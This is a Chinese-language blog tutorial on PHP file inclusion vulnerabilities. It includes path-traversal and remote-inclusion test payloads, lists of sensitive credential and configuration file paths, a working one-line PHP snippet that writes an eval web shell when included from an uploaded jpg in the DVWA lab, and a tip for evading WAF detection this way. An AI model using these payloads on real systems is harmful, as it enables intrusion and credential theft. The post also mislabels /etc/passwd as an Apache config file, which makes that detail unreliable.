标签:根目录 头文件 输出 html win 火墙 利用 配置文件 查看系统
文件包含漏洞,简单地说,就是在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码。
PHP文件包含的几个函数:
include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。
include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。
require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
文件包含漏洞的一般特征如下:
?page=a.php
?home=a.html
?file=content
几种经典的测试方法:
?file=../../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt
系统中常见的敏感信息路径如下:
①Windows系统
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储windows系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\windows\php.ini //php配置信息
C:\windows\my.ini //Mysql配置文件
②UNIX/Linux系统
/etc/passwd //apache2默认配置文件
/usr/local/app/apache2/conf/http.conf //apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-chosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/my.cnf //Mysql的配置文件
文件包含漏洞的另一个主要利用方式是配合文件上传。比如大多数网站都会提供文件上传功能,但一般只允许上传jpg或gif等图片文件,通过配合文件包含漏洞就可以在网站中生成一句话木马网页文件。
比如,在记事本中写入下面这段代码,并将之保存成jpg文件。
<?php fputs(fopen("shell.php","w"), "<?php eval(\$_POST[aaa]);?>");?>
将文件上传到DVWA目录中,文件路径为D:\AppServ\www\dvwa\1.jpg,那么通过文件包含漏洞就可以执行jpg文件中的代码,从而在D:\AppServ\www\dvwa\vulnerabilities\fi目录中生成shell.php文件,而文件内容正是一句话木马。
另外,文件包含漏洞还可被用于绕过WAF防火墙。比如将WebShell上传到网站后,可能会被安全狗等安全工具查杀,这时可将WebShell保存成图片文件,然后通过文件包含功能去执行它。
标签:根目录 头文件 输出 html win 火墙 利用 配置文件 查看系统
原文地址:https://www.cnblogs.com/whoamwho/p/13197674.html